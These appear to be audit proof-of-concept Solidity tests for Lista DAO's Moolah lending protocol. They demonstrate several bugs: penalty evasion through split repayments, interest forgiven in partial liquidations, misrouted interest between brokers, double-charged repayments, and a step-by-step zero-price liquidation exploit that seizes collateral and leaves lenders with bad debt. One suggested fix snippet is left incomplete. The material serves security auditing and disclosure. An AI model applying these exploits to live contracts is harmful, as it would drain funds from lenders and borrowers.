Lista DAO: Moolah

function test_circumventInterestPenalty() public {  vm.prank(MANAGER);  moolah.setProvider(id, address(broker), true);
  uint256 termId = 66;  FixedTermAndRate memory term = FixedTermAndRate({    termId: termId,    duration: 14 days,    apr: 105 * 1e25,    termType: type1  });  vm.prank(BOT);  broker.updateFixedTermAndRate(term, false);
  _generateTree(borrower, COLLATERAL, creditToken.versionId() + 1);
  vm.startPrank(borrower);  creditToken.approve(address(broker), COLLATERAL);  broker.supplyAndBorrow(marketParams, COLLATERAL, COLLATERAL, termId, COLLATERAL, proof);  vm.stopPrank();
  // Advance time past grace period (14 days term + 3 days grace + 3 days extra = 20 days)  skip(20 days);  moolah.accrueInterest(marketParams);
  // Verify position is penalized  FixedLoanPosition[] memory positions = broker.userFixedPositions(borrower);  assertEq(positions.length, 1, "missing fixed position");  FixedLoanPosition memory pos = positions[0];  uint256 posId = pos.posId;  assertTrue(broker.isPositionPenalized(borrower, posId), "position should be penalized");
  // Calculate what the user owes  uint256 interestDue = CreditBrokerMath.getAccruedInterestForFixedPosition(pos) - pos.interestRepaid;  uint256 principalDue = pos.principal - pos.principalRepaid;
  console.log("=== POSITION STATE ===");  console.log("Principal due:", principalDue);  console.log("Interest due:", interestDue);
  // Take snapshot before any repayment  uint256 snapshotId = vm.snapshot();
  // ==================== SCENARIO A: SINGLE TRANSACTION ====================  console.log("");  console.log("=== SCENARIO A: Full repayment ===");
  uint256 startBalanceA = 2_500 ether;  USDT.setBalance(borrower, startBalanceA);
  vm.startPrank(borrower);  USDT.approve(address(broker), startBalanceA);  broker.repayAndWithdraw(marketParams, COLLATERAL, startBalanceA, posId, COLLATERAL, proof);  vm.stopPrank();
  uint256 endBalanceA = USDT.balanceOf(borrower);  uint256 totalCostA = startBalanceA - endBalanceA;  console.log("Total cost:", totalCostA);
  // Revert to snapshot  vm.revertTo(snapshotId);
  // ==================== SCENARIO B: TWO TRANSACTIONS ====================  console.log("");  console.log("=== SCENARIO B: Interest first, then principal) ===");
  uint256 startBalanceB = 2_500 ether;  USDT.setBalance(borrower, startBalanceB);
  vm.startPrank(borrower);  USDT.approve(address(broker), startBalanceB);
  // First tx: pay only the interest  broker.repay(interestDue, posId, borrower);  console.log("First tx - paid interest:", interestDue);
  // Second tx: pay remaining principal + penalty  broker.repayAndWithdraw(marketParams, COLLATERAL, startBalanceB, posId, COLLATERAL, proof);  vm.stopPrank();
  uint256 endBalanceB = USDT.balanceOf(borrower);  uint256 totalCostB = startBalanceB - endBalanceB;  console.log("Total cost:", totalCostB);
  // ==================== VERIFY BUG ====================  console.log("");  console.log("=== BUG VERIFICATION ===");  console.log("Full repayment total cost:", totalCostA);  console.log("Separate repayment total cost:", totalCostB);
  // Verify the bug exists: single tx should pay more than two tx due to interest penalty  assertTrue(totalCostA > totalCostB, "Single tx expected to pay more due to interest penalty");    console.log("Separate repayment underpays by interest penalty:", totalCostA - totalCostB);}

/// @notice Tests that partial liquidations silently forgive fixed-term accrued interest/// @dev This test demonstrates the bug where deductFixedPositionDebt() resets lastRepaidTime///      and interestRepaid even when only a fraction of accrued interest is paidfunction test_partialLiquidation_forgivesFixedTermAccruedInterest() public {  // Create a fixed position with 10% APR for 30 days  uint256 termId = 200;  uint256 duration = 30 days;  uint256 apr = 1.1e27;
  FixedTermAndRate memory term = FixedTermAndRate({ termId: termId, duration: duration, apr: apr });  vm.prank(BOT);  broker.updateFixedTermAndRate(term, false);
  // Borrower takes a fixed loan  uint256 fixedBorrowAmt = 40000 ether;  vm.prank(borrower);  broker.borrow(fixedBorrowAmt, termId);
  // Get the position's initial state  FixedLoanPosition[] memory positionsBefore = broker.userFixedPositions(borrower);  assertEq(positionsBefore.length, 1, "should have 1 fixed position");  FixedLoanPosition memory posBefore = positionsBefore[0];  uint256 posId = posBefore.posId;  uint256 initialLastRepaidTime = posBefore.lastRepaidTime;
  console.log("[Initial state]");  console.log("  Principal: %s", posBefore.principal);  console.log("  Start: %s", posBefore.start);  console.log("  lastRepaidTime: %s", posBefore.lastRepaidTime);
  // Let 15 days pass to accrue significant interest  uint256 timeToPass = 15 days;  skip(timeToPass);
  // Calculate expected accrued interest after 15 days  // Interest = principal * (APR - RATE_SCALE) / RATE_SCALE / 365 days * timeElapsed  // For 10% APR over 15 days: 40000 * 0.10 * (15/365) = ~164.38 ether  uint256 accruedInterestBefore = BrokerMath.getAccruedInterestForFixedPosition(posBefore);  console.log("\n[After 15 days]");  console.log("  Accrued interest: %s", accruedInterestBefore);
  // Capture total debt before liquidation  uint256 totalDebtBefore = broker.getUserTotalDebt(borrower);  console.log("  Total debt (principal + interest): %s", totalDebtBefore);
  // Drop collateral price to make position liquidatable  // Original price: 120000e8, need to drop enough to make position unhealthy  // With 40000 debt, 1 collateral, 80% LTV: need price < 40000 / 0.8 = 50000  // But with broker interest deduction affecting collateral price, need to go lower  oracle.setPrice(address(BTCB), 48000e8);
  // Get user's borrow shares for partial liquidation  Position memory moolahPosBefore = moolah.position(marketParams.id(), borrower);  console.log("\n[Moolah position]");  console.log("  Borrow shares: %s", moolahPosBefore.borrowShares);  console.log("  Collateral: %s", moolahPosBefore.collateral);
  // Prepare for a partial liquidation - liquidate only ~25% of the position  // This is the key scenario where interestToDeduct < accruedInterest  uint256 repayShares = BrokerMath.mulDivCeiling(moolahPosBefore.borrowShares, 25, 100);
  // Fund the liquidator  LISUSD.setBalance(address(liquidator), 1_000_000 ether);
  // Record the timestamp before liquidation  uint256 timestampBeforeLiquidation = vm.getBlockTimestamp();
  // Execute partial liquidation  vm.prank(BOT);  liquidator.liquidate(Id.unwrap(id), borrower, 0, repayShares);
  // Verify position still exists (partial liquidation)  FixedLoanPosition[] memory positionsAfter = broker.userFixedPositions(borrower);  assertEq(positionsAfter.length, 1, "position should still exist after partial liquidation");  FixedLoanPosition memory posAfter = positionsAfter[0];
  console.log("\n[After partial liquidation]");  console.log("  principal: %s", posAfter.principal);  console.log("  principalRepaid: %s", posAfter.principalRepaid);  console.log("  Remaining principal: %s", posAfter.principal - posAfter.principalRepaid);  console.log("  interestRepaid: %s", posAfter.interestRepaid);  console.log("  lastRepaidTime: %s", posAfter.lastRepaidTime);  console.log("  Current timestamp: %s", vm.getBlockTimestamp());
  // lastRepaidTime was reset to block.timestamp even though not all interest was paid  assertEq(posAfter.lastRepaidTime, vm.getBlockTimestamp(), "lastRepaidTime should have been reset");  assertEq(posAfter.interestRepaid, 0, "interestRepaid should be reset to 0");
  // Calculate the new accrued interest - it should be zero since lastRepaidTime was just reset  uint256 accruedInterestAfter = BrokerMath.getAccruedInterestForFixedPosition(posAfter) - posAfter.interestRepaid;  console.log("\n[Interest Analysis]");  console.log("  Interest accrued before liquidation: %s", accruedInterestBefore);  console.log("  Interest accrued after liquidation: %s", accruedInterestAfter);
  // This demonstrates that the unpaid portion of accrued interest was forgiven  assertEq(accruedInterestAfter, 0, "interest after should be 0 since lastRepaidTime was reset");
  // Calculate the total debt after liquidation  uint256 totalDebtAfter = broker.getUserTotalDebt(borrower);  console.log("\n[Total debt comparison]");  console.log("  Total debt BEFORE: %s", totalDebtBefore);  console.log("  Total debt AFTER: %s", totalDebtAfter);
  // Calculate what the debt reduction should have been vs what it actually was  // The principal reduced by some amount during liquidation  uint256 principalReduced = posAfter.principalRepaid;  console.log("  Principal repaid: %s", principalReduced);  console.log("  Forgiven interest: %s", totalDebtBefore - totalDebtAfter - principalReduced);
  // Demonstrate impact on risk detection via peek()  // The collateral price deduction is based on brokerDebt - moolahDebt  // Since brokerDebt is now understated, the deduction is smaller, making positions appear healthier  uint256 peekedPriceBefore = broker.peek(address(BTCB), borrower);  console.log("\n[Risk detection impact]");  console.log("  Peeked collateral price: %s", peekedPriceBefore);  console.log("  Because totalDebt is understated, collateral price deduction is smaller");  console.log("  This makes the position appear healthier than it should be.");}

function test_multiBrokerRelayerRouting() public {  // Deploy second CreditToken  CreditToken creditToken2;  {    CreditToken ctImpl = new CreditToken();    ERC1967Proxy ctProxy = new ERC1967Proxy(      address(ctImpl),      abi.encodeWithSelector(        CreditToken.initialize.selector,        ADMIN,        MANAGER,        BOT,        new address[](0),        "Credit Token 2",        "CRDT2"      )    );    creditToken2 = CreditToken(address(ctProxy));  }
  // Deploy second CreditBroker (same relayer)  CreditBroker broker2;  {    CreditBroker bImpl = new CreditBroker(address(moolah), address(relayer), address(oracle), address(LISTA));    ERC1967Proxy bProxy = new ERC1967Proxy(      address(bImpl),      abi.encodeWithSelector(CreditBroker.initialize.selector, ADMIN, MANAGER, BOT, PAUSER, 10)    );    broker2 = CreditBroker(payable(address(bProxy)));  }
  // Create second market with different collateral token  MarketParams memory marketParams2 = MarketParams({    loanToken: address(USDT),    collateralToken: address(creditToken2),    oracle: address(broker2),    irm: address(irm),    lltv: LTV  });  Id id2 = marketParams2.id();  Moolah(address(moolah)).createMarket(marketParams2);
  // Setup broker2  vm.startPrank(MANAGER);  broker2.setMarketId(id2);  Moolah(address(moolah)).setMarketBroker(id2, address(broker2), true);  creditToken2.grantRole(creditToken2.TRANSFERER(), address(broker2));  creditToken2.grantRole(creditToken2.TRANSFERER(), address(moolah));  vm.stopPrank();
  // Add broker2 to the same relayer  vm.prank(MANAGER);  relayer.addBroker(address(broker2));
  // Seed second market with liquidity  USDT.setBalance(supplier, SUPPLY_LIQ);  vm.startPrank(supplier);  IERC20(address(USDT)).approve(address(moolah), type(uint256).max);  moolah.supply(marketParams2, SUPPLY_LIQ, 0, supplier, bytes(""));  vm.stopPrank();
  // Set minLoan to 10 USDT  vm.prank(MANAGER);  Moolah(address(moolah)).setMinLoanValue(10e8); // $10 in 8 decimals
  uint256 minLoan = moolah.minLoan(marketParams);  console.log("Min loan:", minLoan);
  // Give brokers some USDT to simulate interest payments  uint256 broker1Interest = 8 ether;  // Below minLoan  uint256 broker2Interest = 7 ether;  // Also below minLoan, but total > minLoan
  USDT.setBalance(address(broker), broker1Interest);  USDT.setBalance(address(broker2), broker2Interest);
  // Approve relayer from both brokers  vm.prank(address(broker));  USDT.approve(address(relayer), type(uint256).max);  vm.prank(address(broker2));  USDT.approve(address(relayer), type(uint256).max);
  // Record market supplies before  Market memory market1Before = moolah.market(id);  Market memory market2Before = moolah.market(id2);
  console.log("Market 1 supply before:", market1Before.totalSupplyAssets);  console.log("Market 2 supply before:", market2Before.totalSupplyAssets);
  // ==================== BROKER 1 SUPPLIES INTEREST ====================  // This should not trigger supply to vault (8 < 10)  vm.prank(address(broker));  relayer.supplyToVault(broker1Interest);
  uint256 supplyAmountAfter1 = relayer.supplyAmount();  console.log("Relayer supplyAmount after broker1:", supplyAmountAfter1);  assertEq(supplyAmountAfter1, broker1Interest, "Broker1 interest should be accumulated");
  // ==================== BROKER 2 SUPPLIES INTEREST ====================  // This will trigger supply to vault (8 + 7 = 15 > 10)  vm.prank(address(broker2));  relayer.supplyToVault(broker2Interest);
  uint256 supplyAmountAfter2 = relayer.supplyAmount();  console.log("Relayer supplyAmount after broker2:", supplyAmountAfter2);
  // ==================== VERIFY BUG ====================  Market memory market1After = moolah.market(id);  Market memory market2After = moolah.market(id2);
  uint256 market1Increase = market1After.totalSupplyAssets - market1Before.totalSupplyAssets;  uint256 market2Increase = market2After.totalSupplyAssets - market2Before.totalSupplyAssets;
  console.log("Market 1 supply after:", market1After.totalSupplyAssets);  console.log("Market 2 supply after:", market2After.totalSupplyAssets);  console.log("Market 1 increase:", market1Increase);  console.log("Market 2 increase:", market2Increase);
  // Expected behavior:  // - Market 1 should receive 8 ether (broker1's interest)  // - Market 2 should receive 7 ether (broker2's interest)
  // Actual behavior:  // - Market 1 receives 0 ether  // - Market 2 receives 15 ether (all interest)
  console.log("Market 2 received all interest:", market2Increase);  console.log("Broker 1 lost:", broker1Interest - market1Increase);}

mapping(address => uint256) public brokerSupplyAmounts;
  function supplyToVault(uint256 amount) external override nonReentrant onlyBroker {      IERC20(token).safeTransferFrom(msg.sender, address(this), amount);      brokerSupplyAmounts[msg.sender] += amount;
      uint256 minLoan = ...;      if (brokerSupplyAmounts[msg.sender] >= minLoan) {          uint256 _supplyToVault = ;          brokerSupplyAmounts[msg.sender] = 0;          MOOLAH.supply(..., _supplyToVault, ...);      }  }

/// @notice Tests that repayInterestWithLista() double-charges interest/// @dev This test demonstrates the bug where _repay() pulls loan tokens from msg.sender///      even though the relayer has already transferred loan tokens to the brokerfunction test_repayInterestWithLista_doubleCharge() public {  // Create fixed position with accrued interest (ACCRUE_INTEREST type)  uint256 termId = 100;  uint256 duration = 30 days;  uint256 apr = 1.1e27; // 10% APR
  FixedTermAndRate memory term = FixedTermAndRate({ termId: termId, duration: duration, apr: apr, termType: type1 });  vm.prank(BOT);  broker.updateFixedTermAndRate(term, false);
  // Supply collateral and borrow  uint256 newScore = 10_000 ether;  uint256 borrowAmt = 5_000 ether;  _generateTree(borrower, newScore, creditToken.versionId() + 1);
  vm.startPrank(borrower);  creditToken.approve(address(broker), type(uint256).max);  broker.supplyAndBorrow(marketParams, newScore, borrowAmt, termId, newScore, proof);  vm.stopPrank();
  // Accrue interest (15 days)  skip(15 days);
  FixedLoanPosition[] memory positions = broker.userFixedPositions(borrower);  uint256 posId = positions[0].posId;
  // Calculate LISTA needed for interest repayment using broker's helper  uint256 listaPrice = oracle.peek(address(LISTA));  uint256 discountRate = broker.listaDiscountRate();  uint256 listaAmount = broker.getMaxListaForInterestRepay(positions[0]);  uint256 expectedInterestFromLista = CreditBrokerMath.getInterestAmountFromLista(    listaAmount,    listaPrice,    discountRate  );
  console.log("[Setup]");  console.log("  Borrow amount: %s", borrowAmt);  console.log("  LISTA amount for interest: %s", listaAmount);  console.log("  Expected interest from LISTA: %s", expectedInterestFromLista);
  // Fund borrower with LISTA and loan tokens  LISTA.setBalance(borrower, listaAmount);  USDT.setBalance(borrower, expectedInterestFromLista);
  // Fund relayer with loan tokens for the swap  USDT.setBalance(address(relayer), expectedInterestFromLista);
  // Record balances before  uint256 borrowerLoanBefore = USDT.balanceOf(borrower);  uint256 borrowerListaBefore = LISTA.balanceOf(borrower);  uint256 brokerLoanBefore = USDT.balanceOf(address(broker));  uint256 relayerLoanBefore = USDT.balanceOf(address(relayer));
  // Approve both tokens (borrower shouldn't need to approve loan tokens for LISTA repayment)  vm.startPrank(borrower);  LISTA.approve(address(broker), listaAmount);  USDT.approve(address(broker), expectedInterestFromLista); // Bug: this approval is consumed
  // Execute repayment with LISTA  broker.repayInterestWithLista(0, listaAmount, posId, borrower);  vm.stopPrank();
  // Record balances after  uint256 borrowerLoanAfter = USDT.balanceOf(borrower);  uint256 borrowerListaAfter = LISTA.balanceOf(borrower);  uint256 brokerLoanAfter = USDT.balanceOf(address(broker));  uint256 relayerLoanAfter = USDT.balanceOf(address(relayer));
  // Borrower paid LISTA (expected)  assertEq(borrowerListaBefore - borrowerListaAfter, listaAmount, "borrower should have paid LISTA");  console.log("[Repayment]");  console.log("  LISTA paid by borrower: %s", listaAmount);
  // BUG: Borrower ALSO paid loan tokens (should be 0)  uint256 borrowerLoanPaid = borrowerLoanBefore - borrowerLoanAfter;  assertGt(borrowerLoanPaid, 0, "borrower should be double-charged in loan tokens");  console.log("  Borrower double-charged (loan tokens): %s", borrowerLoanPaid);}

-   emit PaidOffPenalizedPosition(user, posId, block.timestamp);+   emit PaidOffPenalizedPosition(onBehalf, posId, block.timestamp);

/** * @notice zero price liquidation in LendingBroker markets * 1. Attacker supplies BTCB collateral and borrows via LendingBroker * 2. Attacker lets broker-side interest accumulate until BrokerMath.peek returns 0 *    (saturating subtraction of deduction >= oraclePrice makes price = 0) * 3. Attacker calls Moolah.liquidate directly with seizedAssets = full collateral * 4. Due to price = 0, repaidShares = 0 * 5. Attacker receives all collateral, debt becomes bad debt (socialized to lenders) */function test_LendingBroker_ZeroPriceLiquidation() public {  address attacker = makeAddr("attacker");
  // STEP 1: Setup attacker position  console.log("[STEP 1] Attacker supplies collateral and borrows");
  // Set high interest rate for faster interest accumulation  uint256 extremeRate = RATE_SCALE + 3e19; // ~1000% APY equivalent  vm.prank(MANAGER);  rateCalc.setMaxRatePerSecond(address(broker), extremeRate + 1);  vm.prank(BOT);  rateCalc.setRatePerSecond(address(broker), extremeRate);
  // Fund attacker with collateral  BTCB.setBalance(attacker, COLLATERAL);
  // Attacker supplies collateral and borrows via dynamic loan  uint256 borrowAmount = 75000 ether; // Borrow $75,000 against 1 BTCB ($100,000) at 80% LTV  vm.startPrank(attacker);  BTCB.approve(address(moolah), type(uint256).max);  moolah.supplyCollateral(marketParams, COLLATERAL, attacker, bytes(""));  LISUSD.approve(address(broker), type(uint256).max);  broker.borrow(borrowAmount);  vm.stopPrank();
  console.log("  - Collateral deposited: %s BTCB ($%s)", COLLATERAL / 1e18, COLLATERAL * 100000 / 1e18);  console.log("  - Amount borrowed: %s LISUSD", borrowAmount / 1e18);
  // Record initial state  Market memory marketBefore = moolah.market(id);  Position memory attackerPosBefore = moolah.position(id, attacker);  uint256 totalSupplyBefore = marketBefore.totalSupplyAssets;
  console.log("  - Attacker collateral at Moolah: %s", attackerPosBefore.collateral / 1e18);  console.log("  - Attacker borrow shares: %s", attackerPosBefore.borrowShares);  console.log("  - Market total supply: %s LISUSD", totalSupplyBefore / 1e18);
  // =========================================================================  // STEP 2: Accumulate interest until collateral price = 0  // =========================================================================  console.log("\n[STEP 2] Accumulating interest until collateral price reaches 0");
  uint256 oraclePrice = oracle.peek(address(BTCB));  uint256 initialPrice = broker.peek(address(BTCB), attacker);  console.log("  - BTCB oracle price: %s (100000e8 = $100,000)", oraclePrice);  console.log("  - Initial borrower-specific price: %s", initialPrice);
  // Loop day by day to track when position becomes unhealthy vs when price reaches 0  uint256 day = 0;  bool loggedUnhealthy = false;  uint256 unhealthyDay = 0;
  while (broker.peek(address(BTCB), attacker) > 0 && day < 365) {    skip(1 days);    day++;    rateCalc.accrueRate(address(broker));
    // Log when position first becomes unhealthy (liquidatable)    if (!loggedUnhealthy && !Moolah(address(moolah)).isHealthy(marketParams, id, attacker)) {      unhealthyDay = day;      console.log("  - Position became unhealthy (liquidatable) at day %s", day);      loggedUnhealthy = true;    }  }
  console.log("  - Collateral price reached zero at day %s", day);  console.log("  - Window between unhealthy and zero-price: %s days", day - unhealthyDay);
  // =========================================================================  // STEP 3: Verify exploit conditions  // =========================================================================  console.log("\n[STEP 3] Verifying exploit conditions");
  uint256 finalPrice = broker.peek(address(BTCB), attacker);  if (finalPrice == 0) {    console.log("  - Collateral price reached zero at day %s", day);    console.log("  - This enables zero repayment liquidations");  }
  // Verify the math  DynamicLoanPosition memory dynPos = broker.userDynamicPosition(attacker);  uint256 currentRate = rateCalc.getRate(address(broker));  uint256 debtAtBroker = BrokerMath.denormalizeBorrowAmount(dynPos.normalizedDebt, currentRate);
  Market memory mkt = moolah.market(id);  uint256 moolahDebt = uint256(attackerPosBefore.borrowShares).toAssetsUp(mkt.totalBorrowAssets, mkt.totalBorrowShares);  uint256 deltaDebt = debtAtBroker > moolahDebt ? debtAtBroker - moolahDebt : 0;
  console.log("\n  - Total debt at broker: %s", debtAtBroker / 1e18);  console.log("  - Debt at Moolah: %s", moolahDebt / 1e18);  console.log("  - Delta debt (interest): %s", deltaDebt / 1e18);  console.log("  - Collateral: %s", attackerPosBefore.collateral / 1e18);
  // =========================================================================  // STEP 4: Execute zero repayment liquidation via BrokerLiquidator  // =========================================================================  console.log("\n[STEP 4] Executing zero repayment liquidation via BrokerLiquidator");
  Position memory posBeforeLiq = moolah.position(id, attacker);  uint256 collateralToSeize = posBeforeLiq.collateral;
  console.log("  - Collateral to seize: %s", collateralToSeize / 1e18);  console.log("  - Borrow shares before: %s", posBeforeLiq.borrowShares);
  // Fund liquidator with LISUSD for the callback  LISUSD.setBalance(address(liquidator), 1_000_000 ether);
  uint256 liquidatorBTCBBefore = BTCB.balanceOf(address(liquidator));  uint256 liquidatorLISUSDBefore = LISUSD.balanceOf(address(liquidator));
  console.log("  - Liquidator BTCB before: %s", liquidatorBTCBBefore / 1e18);  console.log("  - Liquidator LISUSD before: %s", liquidatorLISUSDBefore / 1e18);
  // Execute liquidation via BrokerLiquidator  vm.prank(BOT);  try liquidator.liquidate(Id.unwrap(id), attacker, collateralToSeize, 0) {    console.log("  - Liquidation executed successfully via BrokerLiquidator");  } catch Error(string memory reason) {    console.log("  - Liquidation failed: %s", reason);  }
  // =========================================================================  // STEP 5: Verify exploit results  // =========================================================================  console.log("\n[STEP 5] Verifying exploit results");
  uint256 liquidatorBTCBAfter = BTCB.balanceOf(address(liquidator));  uint256 liquidatorLISUSDAfter = LISUSD.balanceOf(address(liquidator));
  uint256 collateralGained = liquidatorBTCBAfter - liquidatorBTCBBefore;  uint256 lisusdSpent = liquidatorLISUSDBefore - liquidatorLISUSDAfter;
  console.log("  - Liquidator BTCB after: %s", liquidatorBTCBAfter / 1e18);  console.log("  - Liquidator LISUSD after: %s", liquidatorLISUSDAfter / 1e18);  console.log("  - Collateral gained: %s BTCB", collateralGained / 1e18);  console.log("  - LISUSD spent: %s", lisusdSpent / 1e18);
  // Check borrower position after liquidation  Position memory posAfterLiq = moolah.position(id, attacker);  console.log("\n  [Borrower position after liquidation]");  console.log("  - Collateral remaining: %s", posAfterLiq.collateral / 1e18);  console.log("  - Borrow shares remaining: %s", posAfterLiq.borrowShares);
  // Check for bad debt  Market memory marketAfter = moolah.market(id);  uint256 totalSupplyAfter = marketAfter.totalSupplyAssets;
  console.log("\n  [Market state after liquidation]");  console.log("  - Total supply before: %s LISUSD", totalSupplyBefore / 1e18);  console.log("  - Total supply after: %s LISUSD", totalSupplyAfter / 1e18);
  if (totalSupplyAfter < totalSupplyBefore) {    uint256 badDebtCreated = totalSupplyBefore - totalSupplyAfter;    console.log("  - Bad debt created: %s LISUSD", badDebtCreated / 1e18);    console.log("\n  [SUCCESS] Debt was socialized to lenders!");  }
  uint256 collateralValueUSD = collateralGained * 100000; // BTCB at $100,000  console.log("  - Collateral value seized: $%s", collateralValueUSD / 1e18);  console.log("  - LISUSD spent: $%s", lisusdSpent / 1e18);
  if (collateralValueUSD > lisusdSpent) {    console.log("  - Net profit: $%s", (collateralValueUSD - lisusdSpent) / 1e18);  }
  // =========================================================================  // Summary  // =========================================================================  console.log("\n=======================================================================");  console.log("  EXPLOIT SUMMARY");  console.log("=======================================================================");  console.log("  1. Borrower deposited %s BTCB and borrowed %s LISUSD", COLLATERAL / 1e18, borrowAmount / 1e18);  console.log("  2. Interest accumulated at ~1000%% APY until collateral price = 0");  console.log("  3. Liquidation executed via BrokerLiquidator");  console.log("  4. Due to price = 0, repaidShares was minimal/zero");  console.log("  5. Collateral seized: %s BTCB", collateralGained / 1e18);  console.log("  6. LISUSD spent: %s (should be minimal if price = 0)", lisusdSpent / 1e18);  console.log("  7. Remaining debt socialized as bad debt to lenders");  console.log("=======================================================================\n");
  // Assert the vulnerability  assertGt(collateralGained, 0, "Collateral should have been seized");}